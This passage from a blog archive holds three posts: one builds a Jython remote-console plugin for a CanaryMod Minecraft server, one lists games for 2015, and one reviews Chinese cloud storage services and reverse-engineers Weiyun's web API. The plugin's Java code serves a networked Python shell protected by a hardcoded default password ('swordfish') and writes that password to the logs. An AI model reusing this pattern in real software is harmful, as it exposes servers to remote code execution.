Anyway, does the trick for me so far.

Rebuilding Our Jython Console Plugin For Minecraft

2015-01-21T00:00:00+01:00

Summary and Changes

This post describes how you can create a Python interpreter for a CanaryMod Minecraft server, providing access to the full internal Canary API (CanaryLib). Commands are issued on a separate console window and do not require players or server administrators to be running the game itself.

Following list provides an overview of changes:

2015-01-21: Initial version.

Introduction

About two years ago (man, time flies), I wrote a blog post about setting up a Python shell which allows you to interact with a running Minecraft server using the full arsenal of the Bukkit API. I’ve gotten some nice comments, even although it was not very clear for some people what the goal was. E.g. “Doesn’t ScriptCraft already do this?” Answer: yes, although by means of hooking commands “using /js and through a JavaScript interpreter”. In my project, I wanted Python and avoid the whole hooking mess (also, I wanted to avoid that you should be logged in to the server as a player in order to run commands).

Sadly, though, the Bukkit people encountered some legal issues and have ceased developing their server implementation. When this came to my attention, I did some browsing around and it looks like the CanaryMod project is now the de facto way to go to set up servers with modding support. The API even looks similar to Bukkit.

So to re-iterate, here’s what we are going to be making… We’re thus going to create a Canary (I use “Canary”, “CanaryMod” and “CanaryLib” interchangeably here) plugin which gives server administrators or programming students direct access to the full Canary API. The actual plugin is actually very simple, thanks to the magic of Jython, a Python implementation in Java which allows for Python<->Java crosstalk and saves us from having to implement any command in the plugin itself. Commands are issued on a separate console window and do not require players or server administrators to be running the game itself.

To provide an example of what this means, let’s say you want to make a plugin which makes it rain. Normally, you’d make a plugin which binds this to a player command, say, /rain and would execute the following:

Canary.getServer().getDefaultWorld().setRaining(true);

That’s nice in case your goal is to deliver a packaged plugin with a well defined set of functionality, but what if a server administrator would like to make it rain, just because they feel like it. Normally, they’d need to search for a plugin which allows them to do this, install it, restart the server, and type \rain into chat. What our Python console will allow is just to type:

>>> from net.canarymod import Canary
>>> s = Canary.getServer()
>>> w = s.getDefaultWorld()
>>> s.broadcastMessage("I'll make it rain now")
>>> w.setRaining(True)

The video below shows some more action shots, including changing the time, weather, creating explosions, lightning, and placing blocks. Read on in case this catches your interest.

Developing the Plugin

We’ll be creating a Canary plugin which will spawn a server listening for incoming connection requests to obtain a Python interactive console, as well as showing a GUI console for the local administrator. In case you just want to get started as quickly as possible with the plugin, you can skip this section.

First of all, we’re going to create a new Java project in Eclipse. I’ll call this CanaryConsole. We create a Canary.inf file in the project root with some basic information:

main-class = com.macuyiko.canaryconsole.MainPlugin
name = CanaryConsole
author = Seppe vanden Broucke
version = 1.0.0
isLibrary = false

Next up, we create a lib folder in which we’re going to put our main libraries:

jython-standalone-*.jar: to be downloaded from the Jython web site
CanaryLib-*.jar: the Canary development API, which can be downloaded from here.
CanaryMod-*.jar: the main Canary server.

Add these libraries to the build path.

As CanaryLib is a Maven project, it is also possible to follow the instruction over at the official site. In order to set everything up. I prefer to avoid working with Maven, so I just fetched all the dependency jars and put them in a deps folder.

The complete Eclipse project can be found over at GitHub, which you can just clone or download to get started.

Next, we’ll create the plugin classes themselves. Create a package under src called com.macuyiko.canaryconsole. We’re going to add two classes to start with.

MainPlugin.java, this class just loads the libraries from the lib folder and spawns a PythonConsole window:

package com.macuyiko.canaryconsole;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

import net.canarymod.plugin.Plugin;

public class MainPlugin extends Plugin {

    private final boolean guiconsole;
    private final boolean serverconsole;
    private final int serverport;
    private final String serverpass;
    private final int serverconns;

    public MainPlugin() {
        super();
        guiconsole = getConfig().getBoolean("canaryconsole.guiconsole.enabled", true);
        serverconsole = getConfig().getBoolean("canaryconsole.serverconsole.enabled", true);
        serverport = getConfig().getInt("canaryconsole.serverconsole.port", 44444);
        serverpass = getConfig().getString("canaryconsole.serverconsole.password", "swordfish");
        serverconns = getConfig().getInt("canaryconsole.serverconsole.maxconnections", 10);
    }

    @Override
    public boolean enable() {
        getLogman().info("Loading");

        try {
            File dependencyDirectory = new File("lib/");
            File[] files = dependencyDirectory.listFiles();
            getLogman().info("JARs found: "+files.length);
            for (int i = 0; i < files.length; i++) {
                if (files[i].getName().endsWith(".jar")) {
                    getLogman().info(" - "+files[i].getName());
                    addURL(new File("lib/"+files[i].getName()).toURI().toURL());
                }
            }
        } catch (Exception e) {
            getLogman().error(e.getMessage());
            return false;
        }

        getConfig().save();

        try {
            if (guiconsole) {
                getLogman().info("Starting Jython GUI console");
                new PythonConsole();
            }

            if (serverconsole) {
                getLogman().info("Starting Jython socket console server");
                SocketServer server = new SocketServer(serverport, serverconns, serverpass);
                Thread t = new Thread(server);
                t.start();
                getLogman().info("Clients can connect to port: "+serverport);
                getLogman().info("Using the password: "+serverpass);
            }
        } catch (Exception e) {
            getLogman().error(e.getMessage());
            return false;
        }

        return true;
    }

    @Override
    public void disable() {
        getLogman().info("CanaryConsole: Plugin disabled");
    }

    public static void addURL(URL u) throws IOException {
        // Horrible hack taken from:
        // http://stackoverflow.com/questions/60764/how-should-i-load-jars-dynamically-at-runtime
        // Fix if I figure out if there's a class loader in Canary
        URLClassLoader sysloader = (URLClassLoader) ClassLoader.getSystemClassLoader();
        Class<URLClassLoader> sysclass = URLClassLoader.class;
        try {
            Method method = sysclass.getDeclaredMethod("addURL", new Class[] {URL.class});
            method.setAccessible(true);
            method.invoke(sysloader, new Object[] {u});
        } catch (Throwable t) {
            t.printStackTrace();
            throw new IOException("Error, could not add URL to system classloader");
        }

    }
}

Note that injecting the libraries in lib is necessary to ensure that the plugin will be able to be aware of Jython while it is running. There are other ways to deal with this as well, such as just extracting the JARs in the final produced JAR file, if you prefer.

PythonConsole.java contains the following:

package com.macuyiko.canaryconsole;

import java.io.File;

import org.python.core.PyString;
import org.python.core.PySystemState;
import org.python.util.InteractiveInterpreter;

public class PythonConsole {
    public PythonConsole() {
        Runnable r = new Runnable() {
            public void run() {
                InteractiveInterpreter interpeter = new InteractiveInterpreter(
                        null, getPythonSystemState());
                String scriptname = "python/console.py";
                interpeter.execfile(scriptname);
            }
        };
        new Thread(r).start();
    }

    public static PySystemState getPythonSystemState() {
        PySystemState sys = new PySystemState();
        sys.path.append(new PyString("."));
        sys.path.append(new PyString("python/"));
        try {
            File dependencyDirectory = new File("lib/");
            File[] files = dependencyDirectory.listFiles();
            for (int i = 0; i < files.length; i++) {
                if (files[i].getName().endsWith(".jar")) {
                    sys.path.append(new PyString(
                            new File("lib/"+files[i].getName()).getAbsolutePath()));
                }
            }
        } catch (Exception e){}
        return sys;
    }
}

Just as before, I’m reusing a Jython GUI console by Don Coleman. We also need to ensure that all libraries in the lib folder get added to the system path for any Python interpreter we spawn.

There are two additional classes, SocketServer.java and ConnectionThread.java, which just allow users to login remotely and get a Python interpreter shell. Again, check GitHub. For all the details.

Installation

Installing the plugin is easy. Just export a JAR file from Eclipse, and dump everything in your CanaryMod folder:

Your JAR file should be under /plugins.
Create a /lib folder next to /plugins (not in /plugins) and put the three JAR libraries from before here.
Create a /pythonfolder next to /plugins and place the Python console code here (see GitHub).

It is a good idea to change the server configuration to make sure players aren’t kicked off for inactivity. This allows you to play around while keeping an eye on the Minecraft world to see what is happening.

Here’s what it should look like when everything’s started up: the Canary server console window, Minecraft, and the interpreter console where you can type Python commands.

Example Usage

The following Python code shows some things you can do from the console using the Canary API. For more inspiration and ideas, you can look over the Canary API docs.

First of, you’ll want to start of by making sure all your imports are ready to go:

from net.canarymod import Canary
from net.canarymod import LineTracer
from net.canarymod.api.world.blocks import BlockType
from net.canarymod.api import GameMode

from time import *
from random import *
from math import *

# Check if the the main object can be found:
Canary

You might also want to set up some helper variables for quick access:

s = Canary.getServer()
w = s.getDefaultWorld()
p = s.getPlayer("Macuyiko")

You can now do things such as:

s.broadcastMessage("An administrator is present... be aware")
w.setTime(1)
w.setRaining(True)

Explosions can be created like so:

# Args: spawning entity; position; force; does world damage
# This one will not damage the player (except for fall damage)
w.makeExplosion(p, p.getPosition(), 8, True)
# This one will
w.makeExplosion(None, p.getPosition(), 8, True)

If you want to create an explosion at the position where the player is looking at, you must use another class, called LineTracer. This replaces the Bukkit way of doing things where there was a method immediately returning the position a player was looking at:

w.makeExplosion(p, LineTracer(p).getTargetBlock().getPosition(), 8, True)

It’s a good idea to create some helper functions while you’re at it:

def glp(p):
    return LineTracer(p).getTargetBlock().getPosition()
def gpp(p):
    l = p.getPosition()
    return [int(round(l.getX())),
        int(round(l.getY())),
        int(round(l.getZ()))]

Which then allows to do:

for i in range(0, 20):
    w.makeExplosion(p, glp(p), 6, True)
    w.makeLightningBolt(glp(p))
    sleep(1)

Creating blocks is also pretty easy. The following will spawn some pillars around the player complete with lightning:

for i in range(0, 20):
    pos = gpp(p)
    pos[0] += randint(-10,10)
    pos[2] += randint(-10,10)
    for z in range(pos[1] - 10, pos[1] + randint(5,10)):
        w.setBlockAt(pos[0], z, pos[2], BlockType.CrackedStoneBrick)
    w.makeLightningBolt(pos[0], pos[1], pos[2])
    sleep(1)

Whereas the following creates a wall around the player:

pos = gpp(p)
for z in range(pos[1]-20, pos[1] + 5):
    for x in range(pos[0]-10, pos[0]+10):
        w.setBlockAt(x, z, pos[2]+10, BlockType.CrackedStoneBrick)
        w.setBlockAt(x, z, pos[2]-10, BlockType.CrackedStoneBrick)
    for y in range(pos[2]-10, pos[2]+10):
        w.setBlockAt(pos[0]+10, z, y, BlockType.CrackedStoneBrick)
        w.setBlockAt(pos[0]-10, z, y, BlockType.CrackedStoneBrick)

Finally, it’s even possible to render fractals. I’m making a MandelBulb here from code I borrowed online:

def vir(l, h, s, o):
    return l+((h-l)/float(s))*float(o)

def rp(cx, cy, cz, maxit, mandpow):
        x = 0
        y = 0
        z = 0
        for i in range(0, maxit):
            if (x*x+y*y+z*z) >= 2.0:
                return i
            r = sqrt(x*x + y*y + z*z )
            theta = atan2(sqrt(x*x + y*y) , z)
            phi = atan2(y,x)
            rpow = pow(r,mandpow)
            newx = rpow * sin(theta*mandpow) * cos(phi*mandpow)
            newy = rpow * sin(theta*mandpow) * sin(phi*mandpow)
            newz = rpow * cos(theta*mandpow)
            x=newx+cx
            y=newy+cy
            z=newz+cz
        return maxit

def renderFractal(w, pos, size=64, rng=1.2, maxit=10, mandpow=8.0):
    # http://www.skytopia.com/project/fractal/mandelbulb.html
    xlow=-rng
    xhigh=rng
    ylow=-rng
    yhigh=rng
    zlow=-rng
    zhigh=rng
    for z in range(0, size):
        s.broadcastMessage('z = '+str(z))
        for y in range(0, size):
            for x in range(0, size):
                fy = vir(ylow, yhigh, size, y)
                fz = vir(zlow, zhigh, size, z)
                fx = vir(xlow, xhigh, size, x)
                val = rp(fx, fy, fz, maxit, mandpow)
                if val >= (maxit-1):
                    w.setBlockAt(pos[0]-size/2+x, pos[1]-size/2+z, pos[2]-size/2+y, BlockType.WoolWhite)
                else:
                    w.setBlockAt(pos[0]-size/2+x, pos[1]-size/2+z, pos[2]-size/2+y, BlockType.Air)

Use like so:

pos = gpp(p)
pos[1] += 100 #Put the fractal in the air a bit
renderFractal(w, pos)

Be careful though when specifying a very large size. Python is not the fastest of languages (at least not the Jython implementation), so rendering a 256^3 sized fractal will take a while.

Some Games To Look Forward To In 2015

2015-01-18T11:39:00+01:00

I though it was just me, what with being busy and older and all, but it kind of looks like everybody agrees that 2014 has been a generally shitty year for gaming. Summarized, the arguments boil down to one of the following:

Triple-A titles are released on-schedule, instead of on a “when it’s ready”-basis, leading to horrendously glitchy titles.
- Cases in point: Tetris Ultimate, Assassin’s Creed: Unity, Halo: The Master Chief Collection, Watch_Dogs, San Andreas Xbox One release.
Big hyped titles fail to deliver. These usually get accompanied by huge advertising budgets but are just… well… boring and more of the same. Yahtzee’s Zero Punctuation series reviewed many such titles this year (even although the review style generally aims to entertain rather than inform and loves to take a stab at any target, the general gist of the argument is shared by many).
- Cases in point: Watch_Dogs, Dragon Age: Inquisition (depending on who you ask, admittedly), The Crew, The Sims 4, Call of Duty: Advanced Warfare, Destiny,
Steam is messing up its reputation with Greenlight, Early Access, Curator gaming, all leading to sub-par games which try to extract as much money as possible as soon as possible without delivering.
- Cases in point: Starforge, Windborne, Spacebase DF-9, H1Z1, and many others.
Controversies such as Gamergate are polluting the community, involving all sides of the spectrum ranging from developers, publishers, gamers, journalists, PR, and everything in between.

Despite the general complaining and worrying going on, thing’s weren’t all that bad, as there were quite a few titles which managed to make a solid impression this year:

Divinity: Original Sin: an amazing old-school style, massive RPG which more people should play. And also proof that some Kickstarter projects are able to deliver It should have drawn all the eye balls Dragon Age: Inquisition got.
Dark Souls II: not as good as the original, but more streamlined and still amazing hard fun overall.
Age of Wonders III: again, an old-school title more people should have played.
Hearthstone: making a card trading game approachable for everyone was a bold move for Blizzard, but they pulled it off splendidly and works fantastic on mobile as well. I head the last World of Warcraft expansion ain’t that bad either, and the Reaper of Souls expansion but Diablo III on the map again.
Wasteland 2: despite a lot of bugs on release, Wasteland 2 turned out to be a great, solid title.
Far Cry 4: yes, yes, it is basically a reskin of Far Cry 3, but still fun and arguably the only true successful big Ubisoft title this year.
Middle-earth: Shadow of Mordor: the core gameplay is very by-the-books, but the Nemesis system introduced a living mechanic which more open-world games should adapt. Imagine a GTA VI uplifting the “turfs” mechanic from San Andreas to utilize a similar system, with small criminals trying to gain rank or discovering the fears and drives of big crime lords.
Wolfenstein: The New Order: no one had much hope left for Wolfenstein, but the release proved that there is still a lot of fun to be had with traditional run-and-gun gameplay.
Bayonetta 2: the release which put the WiiU on the map this year. Good on Nintendo for giving this one a chance.
Shadowrun: Dragonfall: the original was unable to please all fans, but the developers marched on and released a stand-alone DLC package which did manage to capture the right atmosphere and gameplay.
Shovel Knight: SNES nostalgia which is just a pleasure to look at, but also a pleasure to play. Unbelievable tight platforming and memorable characters make this one a must have.
The Binding of Isaac: Rebirth: kind of ignored by most outlets and hence a cult-game just as its predecessor, but still wildly amazing and addicting.
Monument Valley: proving that sometimes, a mobile game only needs to be shockingly beautiful to entice.
GTA V: the next-gen release was able to depict the game has it should have been in the first place. The writing is still shallow and the mechanics mostly rehashed, but the game still offers a package of chaotic fun.
Valkyria Chronicles: technically also not a 2014 title, but the release on PC makes this one worth picking up (again).

So, which games to look forward to in 2015? Below follows my very personalized list.

I’ve yet to be disappointed by a Devolver Digital game, and am immensely looking forward to Hotline Miami 2, Not a Hero, A Fistful of Gun and Titan Souls, especially after playing these at Gamescom. Broforce is good fun too, but I’m kind of over it already after playing the Early Access.
Hyper Light Drifter applies a wonderful 16 bit graphical style to action RPG gameplay.
Hellraid appears to become a Skyrim-light, but looks interesting so far.
Mirror’s Edge 2 is another big release title I’d look forward to, just as Dishonored 2 — but I don’t have high hopes.
I’ll probably end up getting Dark Souls II: Scholar of the First Sin.
No Man’s Sky — of course I am including it in this list. Of course I’m worried about it like everyone else.
Chaos Reborn. I ran into the original many, many years ago (it was outdated even by then), but had fun playing it in an emulator against others. The remake seems to go for a similar, general approach, but revamps a lot of aspects which make up for a fast-paced, strategy game. With wizards. It’s available in Early Access and already a lot of fun.
Riot is in early stages of development, but the interesting pixel graphics and theme look promising.

Stars Beyond Reach will be hardcore 4X title which is shaping up nicely.
Torment: Tides of Numeria and Pillars of Eternity. As being the two most massively funded Kickstarter projects, the hype behind these two is large. Personally, I’m just happy to have another old-school 2D RPG.
Racing games. Distance, Road Redemption, and especially Drift Stage look neat.
Murder will be a pixel-artsy murder mystery in neon-Japan which is looking very atmospheric.
Obra Dinn already impressed with it’s dev build thanks to an interesting graphical style and premise. Oh, and it’s made by Lucas Pope, the Papers Please guy.
The Witness is another upcoming title from an indie star, and is as interesting as ever.
Frontiers. Poor Lars Simkins has poured his heart and soul into this game, not skipping a beat when it comes to being open and honest with its backers. Now for the final stretch and iron out the bugs, and this game will be an exploratory treat to lose hours in.
If your dream entails being stuck in an Escher painting then boy Relativity is the game for you. It has an Antichamber vibe going on, and just looking at the screenshots already feels interesting.

La-Mulana 2 is shaping up well. I also wonder how it is going with Chasm, shouldn’t that have been released a while ago?
Some starting small indie devs have been working hard on their games. I’m looking forward a lot to Interstellaria, Cogmind, Wings of Saint Nazaire and Ultimate Ratio Regum.

Some other interesting titles, such as Cross of the Dutchman, Minecraft: Story Mode, Before, Super Roman Conquest, Irkalla, Eitr, Tiny Wizard, Rain World, Hot Tin Roof, Hac, Shelter 2, I Can’t Escape Darkness, Biome, Serpent in the Staglands, StarDrive 2, Treachery in Beatdown City, Dragon Fin Soup, Super Hot Game, Super Roman Conquest and Tetrapulse also look promising.

This Is What The Chinese Cloud Looks Like

2014-12-29T22:34:00+01:00

Introduction

It should not come to a surprise that the Chinese technology giants are — just as their western counterparts, rolling out their respective versions of cloud storage services such as Google Drive, Dropbox, or OneDrive.

They are approaching it like most of their offerings:

Explore and learn from foreign competitors.
To help out, the government will oftentimes approve these foreign companies to enter the Chinese market. Dropbox has quite some users in China, so does Gmail.
The technology giants move a massive amount of manpower around to whip up a similar offer in a short amount of time.
At this stage, do not be surprised that the government “coincidentally” blocks access to foreign competitors (Google and Dropbox again are good examples) [1].
The Chinese technology giant meanwhile lures users with an offer they can’t refuse. (More about what this means in practice later.)
When luck strikes, the giant is able to maintain a hugely successful service. Baidu (search), Taobao, Weixin and QQ for instance are such success-stories.
In other cases, however, some services also end up being kept-alive in some sort of zombie state. Tencent’s Qzone for instance is massively popular in terms of user base, but doesn’t get much love feature-wise. Baidu’s Baike was supposed to be a Wikipedia clone and has surpassed the latter in terms of articles (for the Chinese Wikipedia, that is), but is lacking in terms of interface and infrastructure, and less curated, with less useful or inaccurate articles as a result [2]. Although the Chinese Wikipedia is also sub-par.
In any case, after some time has passed, the “unrefusable” offer will end up being buried under more and more rules (identification, usage restrictions, etc.). Users begrudgingly accept this until something new comes along.

Of course, the above is a widely generalized, short cut version of the story, although the basic idea is valid.

That said, it is too easy to just regard overlooked services or an overload of rules to be caused by a lack of expertise or knowledge, as there is more going on. Sure, a social network not receiving much love will be down once in a while, and a game might be unable to connect to some server from time to time as well, but no real harm is done and in most cases a team is scrambled to get things running again. However, many of these things are done in a very ad-hoc, seemingly chaotic manner which looks confusing, daunting and maybe untrustworthy to outsiders. There are many things at play at the same time here:

Tendency to copy. It is easy to describe this with the stereotypical “lack of creativity” one-liner, which is an oversimplification, although there is a clear presence of “they have it, we also better have it”-mindset going on.
Labor is cheap. This allows companies to push a lot of manpower around.
Things are being ran efficiently, but seemingly ad-hoc.
Changes can come quickly and rapidly, as well as new rules and policies. Privacy concerns are also seen as a lesser… concern, and most users expect and know this.
The scale is absolutely massive.

Now compare this to western players (keep in mind that I’m still mainly talking about technology companies):

Tendency, desire and pressure to innovate.
Labor is expensive. Going from innovative toy to wide-scale implementation costs a lot.
Things are being ran efficiently, with attention to detail.
Changes come slowly and a great amount of time is spent on user-guidance. Remember the last time Facebook changed a color or something and users where up in arms? Rules and regulations are researched ahead of time before launching (“lawyering up”). Privacy concerns are crucial, but failure is possible, leading to a big PR scandal, as users are very sensitive to this.
The scale can be massive, but not immediately. Growth curves look a lot different.

I’m going off on a tangent now, but whenever talking about this, I always like to mention payment providers and retail platforms as a fitting illustrating example. There are companies such as Alibaba with their Taobao platform which are absolutely killing it in terms of online retail (again with a scale and a certain amount of “busy-ness” Amazon can hold a candle to). A vast amount of companies, banks, public service institutions and even restaurants have payment and other support systems in place which all work very well, also on smartphones (the primary computing platform in most of Asia). PIN codes are 6 digits, logins are verified with a text message or a QR code (those which were all the rage in western territories for a while and then mostly died out due to lack of adaption). Of course, users get hacked, scammed, or tricked all the time, but this is mainly caused by the massive scale (more targets) and again is easy to mistake for a lack of efficiency (also again since everything kind of seems to be set up in a chaotic, intertwined and rather ad-hoc manner). Sure, you can expect a fair share of self-signed SSL certificates or the government snooping in, but these are mainly caused by a more-rules-is-always-better culture and the lack of concern for privacy. And again, most users know this. For more great stories in this context, look for instance at the way how Bitcoin has been adopted (and pushed out) in China, complete with mining factories, really. In fact, Tencent also tried to release some sort of digital currency (though, centralized, of course) many years ago, called “Q Coin” which was also deserted later on, under government pressure.

Another great related recent article is this one on the topic of Chinese Mobile App UI/UX trends, which also provides great insights in the mobile appsphere mentality.

Cloud Storage

But I digress… this post was going to be a simple one, about cloud storage services. As stated before, Chinese technology firms have begun offering cloud storage services:

Baidu Disk - or: Baidu Yun (云, cloud) or Pan (盘, disk [3]): offers 2TB (that is terabytes!) of data for free when you install the mobile app.
Tencent Weiyun: offers 10TB of data for free when you install the mobile app.
360.cn’s Yunpan: offers 10TB of data when installing the Windows client and an additional 20TB when installing a mobile client.

Just to compare: Dropbox gives you a meagre 2GB for free (although it is pretty easy to work this up to around 5-10GB), Google Drive gives 15GB, OneDrive also 15GB and Box gives 10GB. It is possible to find some other providers giving up to 100GB away, but no massive 1TB+ offerings as with the Chinese.

So where’s the catch? There must be a catch, right? Let’s take a look at some of the common patterns occurring across the aforementioned three services…

Pattern 1: Chinese Only, More or Less

When you try to go to 360 Yun‘s or Weiyun‘s homepages, this is what you’ll get:

With no English in sight — or even the option to switch language — it is clear that they are targeted to a Chinese audience only, at least for now. Honorable mention: Weiyun does have an English version of their web app over at http://www.weiyun.com/disk/index-en.html, but it doesn’t get as much love as the Chinese one, and you’ll still see Chinese error messages popping up.

Luckily, at least for the web apps, Chrome’s translation option is able to help out a great deal.

Pattern 2: Copy Galore, with Some Differences

When you stack the logos of all three services above each other, a similarity emerges:

When you compare the interfaces, things look mostly the same as well, with Baidu standing out thanks to a black header bar and an uglier font.

Similar as these apps might seem, they do differ in terms of functionality… here are some notable aspects:

Possibilities to share content differs among all services. Sometimes you get a link which ends up in a ZIP download, sometimes you can add it to your own drive, sometimes you get a barcode, and so on.
Baidu allows you to upload a torrent file which will be downloaded. They do some rudimentary checks for illegal content, however.
All three implement support for pictures, video, and music which can be viewed right from the app. They also support viewing Office documents and PDF’s. The reliability of rendering however differs from service to service.
Here’s something interesting to try: see how easy you can upload multiple files at once through the web app. Weiyun does allow to drag and drop files, but not folders. The English version does not support drag and drop at all. 360 allows drag and drop of files, but not folders. You can upload folders however through a separate drop down and selecting the folder, but not if the folder contains sub folders. Baidu also does not support drag and drop. The reason for this? Folder dragging is only supported by Webkit (Chrome) at the moment, but it still seems strange that no more middleware libraries such as filedropjs are used which already take this into account.

Pattern 3: Arbitrary Limits

All apps examined here absolutely love imposing arbitrary limits. Want to upload a selection of n+ files at once? Sorry, only so much at a time, please. Want to create this deep of a folder tree? Nope. Want to name your file like this? Nope. Want to upload a file larger than 360MB? Nope (how cute).

For many of these limits, it’s not exactly clear what is driving this. Perhaps imposing limits allows for easier monetization later on? Perhaps this is a way to drive people to use the add-ons, which brings us to…

Pattern 4: A Web App, a Plugin, a Client, a Mobile App…

Whereas both Dropbox and Google follow the strategy to put most in an accessible web app and offer a small sync client to install on your computer, the Chinese counterparts go all out and offer a wealth of apps — a pattern which is very typical. Meaning that you’ll end up with: the web app, the plugin to install in the web browser and allows extra features (many of which could be offered by using latest-and-greatest Javascript developments such as websockets), a client, a syncing tool, and a mobile app or two.

This means that whenever you want to do something meaningful through the web app, you’ll be asked to install the appropriate plugin:

Leaving you with:

Although I have no evidence suggesting that these plugins are up to no good, I’d be a bit wary of just installing any client or plugin on my machine… especially when considering…

Pattern 5: What Privacy?

This is a fun one. First of all, let’s take a look at some of the permission screens you’ll be greeted when trying to install these mobile apps:

Boy this looks scary! Change my wifi connections? Send messages? What is a sticky broadcast? Why do you want to change my contacts? It might be the case that this is a case of sloppy programming, but especially 360’s app seems to go completely overboard.

In addition, upon using these services, you’ll notice that most of them will perform some sort of scanning of your files before uploading them, and that — in some cases — upload goes lightning fast! What could be the reason? Apparently there is some sort of hashing going on which compares your file’s hash to other files which have been uploaded to the service. When a match is found, the cloud service can make the file appear in your drive without actually having to upload the file. I’ve tested this extensively with Weiyun (more on this below), and the matching works even when you delete the file afterwards, and can allow you to add files even if you do not have the actual file. Is this an issue? Not in itself, but just be aware of the fact that no encryption is happening anywhere (Dropbox used to apply similar techniques but then toned it down due to user complaints). So make sure to encrypt your files yourself before uploading them.

Finally, I love the following screen which is just one tap away in 360’s app:

This shows an overview of popular photo albums… I have no idea why this belongs in a cloud storage app, but it seems to suggest that you can pretty easily share your uploaded albums with the world… Hmm.

Pattern 6: “Sure”, It’s Reliable…

I mentioned before that in case of things going awry, it doesn’t take long for a fix to be implemented. This is true, but doesn’t prevent these services to break… quite a lot… for reasons related to the arbitrary limitations as discussed before, or just other reasons.

For instance, I’ve been notified with the following screen during the past two days when trying to upload MP3 files to Weiyun:

(I’m using a third party translation here, which is why the client shows in English.)

Over on the web app, we see:

Which basically translates to: under maintenance. When will this be fixed? Who knows — although it should be rather soon. What is the root cause? Who knows.

Pattern 7: An App Among Apps

Finally, the last item worth mentioning — as was also said before — is the fact that these offerings are only a small part of the total amount of apps, tools and services Baidu, Tencent, and 360 offer. For example, a look at 360.cn shows this staggering amount of… stuff:

A Little Reverse Engineering

To close off this post, I’m going to present a little reverse engineering I did to make a hand-rolled Weiyun API. Forget about these services offering an official API, so it’s back to forging CURL requests and screen scraping for anyone who wishes to access their files in a programmatic manner.

I’ve chosen Weiyun, because they have the best English support, are relatively trustworthy (they have a long running “international” version of their QQ client), and offer a large amount of storage. I prefer not to use 360 as I know from experience that many of their apps are less than trustworthy (case in point: you’ll find 360 crapware running on about 90% of Windows XP installations when in China, their “browser” is also notorious for just being an IE reskin with self-signed certificate warning disabled, with makes it great for enabling man-in-the-middle attacks as the Golden Shield is want to do).

I’ll be using the English version of the Weiyun web app over at http://www.weiyun.com/disk/index-en.html as a base here. After logging in and fiddling around, we immediately see a bunch of requests popping up in Chrome:

After a while, a pattern starts to emerge. It seems that every request calls an endpoint at http://web.cgi.weiyun.com, also followed by requests to code.cgi and r.cgi, which include a lot of flags but do not provide a response, so they seem to be tracking/analytics related and can perhaps be ignored for now.

Our requests of interest, however, mostly seem to be performed over GET and compose an url like so:

http://web.cgi.weiyun.com/: hostname.
weiyun_web_root_dir_list_cgi.fcg: name of the endpoint.
?cmd=root_dir_list: name of command. It is strange that this is included, as the names of the endpoints already differ and indicate which action should be executed.
&g_tk=984964540: some kind of token which is sent along with every request. This number does not change, however, so we can just hard code it.
&callback=get_RB7C197F8_8465_49DB_AEC7_273C1DC50470: name of the callback function which the JSONP formatted response will call. This is generated randomly client-side, so we can emulate this behavior.
&data=%7B%22req_header%22%3A%7B%22cmd%22%3A%22root_dir_list%22%2C%22main_v%22%3A11%2C%22proto_ver%22%3A10006%2C%22sub_v%22%3A1%2C%22encrypt%22%3A0%2C%22msg_seq%22%3A1%2C%22source%22%3A30234%2C%22appid%22%3A30234%2C%22client_ip%22%3A%22127.0.0.1%22%2C%22token%22%3A%22b8df84ae2f33849126bd9e7888c97b5b%22%7D%2C%22req_body%22%3A%7B%7D%7D: JSON formatted request payload.
&_=1420213473426: some kind of random token or timestamp. Probably to avoid caching issues.

Taking a closer look at the data payload, it looks something like this:

{"req_header":: the request header.
- {"cmd":"root_dir_list",: the command value repeated again. Somewhat redundant.
- "main_v":11,: a version number.
- "proto_ver":10006,: protocol version number.
- "sub_v":1,: sub version number.
- "encrypt":0,: encryption flag. I’ve not seen this used or enabled anywhere.
- "msg_seq":1,: message sequence? Funnily enough, this stays at one and is not incremented.
- "source":30234,: another id.
- "appid":30234,: same as above, id indicating the application?
- "client_ip":"127.0.0.1",: hardcoded to be 127.0.0.1, perhaps the developers had plans to change or use this later on.
- "token":"b8df84ae2f33849126bd9e7888c97b5b"},: a token which seems to be used to prevent CSRF attacks, but also stays the same for every request, and is thus easy to hardcode.
"req_body":{}}: the request body, empty here but will be filled up with additional arguments.

Last, we also need to take a look at the cookies send with every request:

pgv_info: some kind of session indicator? Values look like ssid=s9869263628 and do not tend to change after a session timeout.
pgv_pvid: same. Values look like 4842874884
pt2gguin: the letter “o” followed by your QQ number.
ptcz: also a session identifier which does not tend to change after a session timeout.
ptisp: set to the value os
ptui_loginuin: your e-mail address.
skey: a session key which does change after a session timeout, starts with “@”.
uin: same as pt2gguin above.
verifysession: a remainder of the login process, but not required in the app itself.

With this under our belt, we’re ready to start of with some code. First, we set up our imports and values we need to retrieve from a started session:

import requests
import uuid
import json
import time
import os
import hashlib
import sys
import struct
import binascii

# Change the values below:
SKEY = '@changeme'
UIN = '29changeme'
PTCZ = '97changeme'
PGV_INFO = 'ssid=s9changeme'
PGV_PVID = 'changeme'
EMAIL = 'changeme@changeme.changeme'

Next, some general purpose functions:

current_milli_time = lambda: int(round(time.time() * 1000))
file_size = lambda x: os.stat(x).st_size
get_ordered_tuple = lambda x,y: next(a[1] for a in x if a[0] == y)
md5 = lambda x: hashlib.md5(open(x, 'rb').read()).hexdigest()
sha1 = lambda x: hashlib.sha1(open(x, 'rb').read()).hexdigest()
jsonprint = lambda x: json.dumps(x, sort_keys=True, indent=2, separators=(',', ': '))

And some additional constants we’ll be using throughout:

TOKEN = 'changeme'
GTK = 'changeme'

HEADERS = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36' \
            ' (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36',
            'Referer': 'http://www.weiyun.com/disk/index-en.html'}
COOKIES = {'pgv_info': PGV_INFO,
            'pgv_pvid': PGV_PVID,
            'ptui_loginuin': EMAIL,
            'pt2gguin': 'o'+UIN,
            'uin': 'o'+UIN,
            'skey': SKEY,
            'ptisp': 'os',
            'ptcz': PTCZ}
REQ_HEADER = {"cmd":"",
                "main_v":11,
                "proto_ver":10006,
                "sub_v":1,
                "encrypt":0,
                "msg_seq":1,
                "source":30234,
                "appid":30234,
                "client_ip":"127.0.0.1",
                "token":TOKEN}

Now, we can start with setting up a base class on top of which we’ll implement all request types:

class BaseWeiyun(object):
    def __init__(self, endpoint, cmd):
        self.base = 'http://web.cgi.weiyun.com'
        self.endpoint = endpoint
        self.cmd = cmd
        self.data = {"req_header":REQ_HEADER,
